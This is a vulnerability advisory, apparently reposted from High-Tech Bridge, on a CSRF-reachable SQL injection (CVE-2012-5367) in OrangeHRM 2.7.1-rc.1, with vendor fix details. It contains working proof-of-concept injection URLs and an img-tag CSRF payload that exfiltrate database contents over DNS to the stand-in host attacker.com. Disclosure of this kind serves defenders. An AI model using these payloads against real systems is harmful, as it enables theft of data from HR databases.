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OrangeHRM 2.7.1-rc.1 Cross Site Request Forgery / SQL Injection Vulnerabilities
[Product: OrangeHRM Vendor: OrangeHRM Inc. Vulnerable Version(s): 2.7.1-rc.1 and probably prior Tested Version: 2.7.1-rc.1 Vendor Notification: October 10, 2012 Public Disclosure: October 31, 2012 Vulnerability Type: SQL Injection [CWE-89] CVE Reference: CVE-2012-5367 CVSSv2 Base Score: 6 (AV:N/AC:M/Au:S/C:P/I:P/A:P) Solution Status: Fixed by Vendor Risk Level: Medium Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in OrangeHRM, which could be exploited to alter SQL requests to application's database. 1) SQL Injection Vulnerability in Orange HRM: CVE-2012-5367 The vulnerability was discovered in the "/symfony/web/index.php" script while handling the "sortField" HTTP GET parameter. Successful exploitation of this vulnerability requires administrative privileges, however it can be exploited by a non-authenticated user via CSRF vector, as the above-mentioned script is also vulnerable to CSRF attack. The vulnerability could be triggered by accessing the following URIs: /symfony/web/index.php/admin/viewCustomers /symfony/web/index.php/admin/viewPayGrades /symfony/web/index.php/admin/viewPayGrades The PoC codes below are based on DNS Exfiltration technique and can be used in cases when application's database is hosted on a Windows system. The PoCs will send a DNS request demanding IP addess for `version()` (or any other sensitive information from the database) subdomain of ".attacker.com" (a domain name, DNS server of which is controlled by the attacker): 1.1 http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) The following PoC demonstrates exploitation of the vulnerability via CSRF vector: <img src="http://[host]/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))"> 1.2 http://[host]/symfony/web/index.php/admin/viewPayGrades?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) 1.3 http://[host]/symfony/web/index.php/admin/viewSystemUsers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))) ----------------------------------------------------------------------------------------------- Solution: Upgrade to OrangeHRM 2.7.1 http://www.orangehrm.com/download.php ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23119 - https://www.htbridge.com/advisory/HTB23119 - SQL Injection Vulnerability in Orange HRM. [2] OrangeHRM - http://www.orangehrm.com - OrangeHRM is the world’s most popular Open Source Human Resource Management Software (HRMS) with over 1,000,000 users globally. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. ----------------------------------------------------------------------------------------------- # 0day.today [2024-09-29] #